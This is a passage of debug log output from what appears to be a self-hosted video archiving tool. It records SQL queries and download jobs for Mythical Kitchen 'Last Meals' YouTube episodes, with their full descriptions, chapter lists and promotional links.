https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Rhett Eats His Last Meal", "1d9ec391-b643-4c13-92d9-4a69d9bb64ab", "https://www.youtube.com/watch?v=Y7NoOqhQiUw", false, "Y7NoOqhQiUw", 1404, false, 14, "/downloads/Last Meals/2022-01-11 Rhett Eats His Last Meal/Rhett Eats His Last Meal [Y7NoOqhQiUw].mp4", false, false, 1, [], 0, ~U[2022-01-11 11:00:15Z], ~U[2026-03-28 00:47:11Z], ~U[2026-03-28 00:47:11Z], "Today, Josh is cooking Rhett McLaughlin's last meal. Last Meals Ep.1\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Rhett Eats His Last Meal", "https://www.youtube.com/watch?v=Y7NoOqhQiUw", "Y7NoOqhQiUw", 1404, false, "/downloads/Last Meals/2022-01-11 Rhett Eats His Last Meal/Rhett Eats His Last Meal [Y7NoOqhQiUw].mp4", false, 1, ~U[2022-01-11 11:00:15Z]] 20:47:11.097 [debug] QUERY OK source="sources" db=0.2ms idle=39.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:11.098 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:11.098 [debug] QUERY OK source="media_items" db=0.3ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 20:47:11.098 [info] Kicking off download for media item #14 (Y7NoOqhQiUw) 20:47:11.101 [debug] QUERY OK source="tasks" db=0.2ms idle=3.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17, 14, ~U[2026-03-28 00:47:11Z], ~U[2026-03-28 00:47:11Z]] 20:47:11.101 [debug] Current batch of media processed. Will check again in 1000ms 20:47:12.102 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Atsuko Okatsuka eats her last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Atsuko's Last Meal\n0:20 Singing At Coldstone\n2:35 Have You Thought About Your Last Meal Before?\n3:25 How Often Do You Think About Death?\n5:05 1st Course\n7:45 Bringing Cultures Together\n10:52 How To Eat And Look Hot\n11:51 New Special, FATHER\n12:45 Antelope Valley Trilogy\n15:07 I Didn't Ask To Be Here But I Am\n16:24 2nd Course\n18:45 Duty To Your Family\n20:18 We Both Have Schizophrenic Moms\n21:54 When Your Grandma Kidnaps You\n23:45 It's Not Just Hotels & Airplanes\n26:15 3rd Course\n29:10 Returning To Taiwan As An Adult\n31:50 Can Any Of Us Prevent Who We Are?\n33:03 WE BROKE ET\n34:11 4th Course\n36:16 Being Alone\n38:08 What Would Adult Atsuko Say To Kid Atsuko?\n40:33 What Do You Think Happens When You Die?\n41:40 Lightning Round\n41:55 Atsuko's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2734, "filename" => "/downloads/Last Meals/2025-06-17 Atsuko Okatsuka Eats Her Last Meal/Atsuko Okatsuka Eats Her Last Meal [ExEAhFIaNbA].mp4", "id" => "ExEAhFIaNbA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ExEAhFIaNbA", "playlist_index" => 15, "timestamp" => 1750154426, "title" => "Atsuko Okatsuka Eats Her Last Meal", "upload_date" => "20250617"} 20:47:12.103 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:12.103 [debug] QUERY OK source="sources" db=0.2ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:12.104 [debug] QUERY OK source="media_items" db=0.2ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-17 10:00:26Z], 1] 20:47:12.107 [debug] QUERY OK source="media_items" db=2.5ms idle=1003.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Atsuko Okatsuka eats her last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Atsuko's Last Meal\n0:20 Singing At Coldstone\n2:35 Have You Thought About Your Last Meal Before?\n3:25 How Often Do You Think About Death?\n5:05 1st Course\n7:45 Bringing Cultures Together\n10:52 How To Eat And Look Hot\n11:51 New Special, FATHER\n12:45 Antelope Valley Trilogy\n15:07 I Didn't Ask To Be Here But I Am\n16:24 2nd Course\n18:45 Duty To Your Family\n20:18 We Both Have Schizophrenic Moms\n21:54 When Your Grandma Kidnaps You\n23:45 It's Not Just Hotels & Airplanes\n26:15 3rd Course\n29:10 Returning To Taiwan As An Adult\n31:50 Can Any Of Us Prevent Who We Are?\n33:03 WE BROKE ET\n34:11 4th Course\n36:16 Being Alone\n38:08 What Would Adult Atsuko Say To Kid Atsuko?\n40:33 What Do You Think Happens When You Die?\n41:40 Lightning Round\n41:55 Atsuko's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Atsuko Okatsuka Eats Her Last Meal", "b2714be9-acc1-45b2-8b1b-30ed3226eef3", "https://www.youtube.com/watch?v=ExEAhFIaNbA", false, "ExEAhFIaNbA", 2734, false, 15, "/downloads/Last Meals/2025-06-17 Atsuko Okatsuka Eats Her Last Meal/Atsuko Okatsuka Eats Her Last Meal [ExEAhFIaNbA].mp4", false, false, 1, [], 0, ~U[2025-06-17 10:00:26Z], ~U[2026-03-28 00:47:12Z], ~U[2026-03-28 00:47:12Z], "Today, Atsuko Okatsuka eats her last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Atsuko's Last Meal\n0:20 Singing At Coldstone\n2:35 Have You Thought About Your Last Meal Before?\n3:25 How Often Do You Think About Death?\n5:05 1st Course\n7:45 Bringing Cultures Together\n10:52 How To Eat And Look Hot\n11:51 New Special, FATHER\n12:45 Antelope Valley Trilogy\n15:07 I Didn't Ask To Be Here But I Am\n16:24 2nd Course\n18:45 Duty To Your Family\n20:18 We Both Have Schizophrenic Moms\n21:54 When Your Grandma Kidnaps You\n23:45 It's Not Just Hotels & Airplanes\n26:15 3rd Course\n29:10 Returning To Taiwan As An Adult\n31:50 Can Any Of Us Prevent Who We Are?\n33:03 WE BROKE ET\n34:11 4th Course\n36:16 Being Alone\n38:08 What Would Adult Atsuko Say To Kid Atsuko?\n40:33 What Do You Think Happens When You Die?\n41:40 Lightning Round\n41:55 Atsuko's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Atsuko Okatsuka Eats Her Last Meal", "https://www.youtube.com/watch?v=ExEAhFIaNbA", "ExEAhFIaNbA", 2734, false, "/downloads/Last Meals/2025-06-17 Atsuko Okatsuka Eats Her Last Meal/Atsuko Okatsuka Eats Her Last Meal [ExEAhFIaNbA].mp4", false, 1, ~U[2025-06-17 10:00:26Z]] 20:47:12.108 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=116.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:12.109 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:12.110 [debug] QUERY OK source="media_items" db=0.4ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [15] 20:47:12.110 [info] Kicking off download for media item #15 (ExEAhFIaNbA) 20:47:12.112 [debug] QUERY OK source="tasks" db=0.0ms idle=3.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [18, 15, ~U[2026-03-28 00:47:12Z], ~U[2026-03-28 00:47:12Z]] 20:47:12.112 [debug] Current batch of media processed. Will check again in 1000ms 20:47:13.113 [debug] Current batch of media processed. Will check again in 1000ms 20:47:14.115 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Trixie Mattel eats her last meal. \n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nCHAPTERS\n0:00 Trixie's Last Meal\n0:30 DragCon 2018\n1:05 Have You Thought About Your Last Meal Before?\n2:33 1st Course\n5:10 Potbelly Open Mic Rejection\n8:09 Love For Wisconsin\n10:33 RIP Checkers\n12:25 Trauma Is The Only Thing That Bonds Us All\n14:09 The Venn Diagram Of Trixie & Brian\n15:27 They Don't Have Issues With Drag, They Have Issues With Gay People\n16:35 2nd Course\n18:54 Putting On A Dress For The First Time\n20:20 RuPaul's Drag Race\n22:41 Josh's Drag Persona\n23:33 Where Trixie's Persona Came From\n25:07 Wanting To Be A Parent\n26:14 Don't You Have Potholes To Fill?!\n29:35 3rd Course\n31:04 Burnout & Taking A Sabbatical\n34:12 Friendship With Katya\n36:00 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:25 Trixie's Last Words\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2556, "filename" => "/downloads/Last Meals/2025-04-01 Trixie Mattel Eats Her Last Meal/Trixie Mattel Eats Her Last Meal [BkZcJFfJb9o].mp4", "id" => "BkZcJFfJb9o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BkZcJFfJb9o", "playlist_index" => 16, "timestamp" => 1743501620, "title" => "Trixie Mattel Eats Her Last Meal", "upload_date" => "20250401"} 20:47:14.116 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=119.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:14.116 [debug] QUERY OK source="sources" db=0.2ms idle=58.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:14.117 [debug] QUERY OK source="media_items" db=0.3ms idle=59.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-01 10:00:20Z], 1] 20:47:14.121 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=60.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Trixie Mattel eats her last meal. \n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nCHAPTERS\n0:00 Trixie's Last Meal\n0:30 DragCon 2018\n1:05 Have You Thought About Your Last Meal Before?\n2:33 1st Course\n5:10 Potbelly Open Mic Rejection\n8:09 Love For Wisconsin\n10:33 RIP Checkers\n12:25 Trauma Is The Only Thing That Bonds Us All\n14:09 The Venn Diagram Of Trixie & Brian\n15:27 They Don't Have Issues With Drag, They Have Issues With Gay People\n16:35 2nd Course\n18:54 Putting On A Dress For The First Time\n20:20 RuPaul's Drag Race\n22:41 Josh's Drag Persona\n23:33 Where Trixie's Persona Came From\n25:07 Wanting To Be A Parent\n26:14 Don't You Have Potholes To Fill?!\n29:35 3rd Course\n31:04 Burnout & Taking A Sabbatical\n34:12 Friendship With Katya\n36:00 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:25 Trixie's Last Words\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Trixie Mattel Eats Her Last Meal", "b16619a8-7c40-43af-8a56-a5754efcc156", "https://www.youtube.com/watch?v=BkZcJFfJb9o", false, "BkZcJFfJb9o", 2556, false, 16, "/downloads/Last Meals/2025-04-01 Trixie Mattel Eats Her Last Meal/Trixie Mattel Eats Her Last Meal [BkZcJFfJb9o].mp4", false, false, 1, [], 0, ~U[2025-04-01 10:00:20Z], ~U[2026-03-28 00:47:14Z], ~U[2026-03-28 00:47:14Z], "Today, Trixie 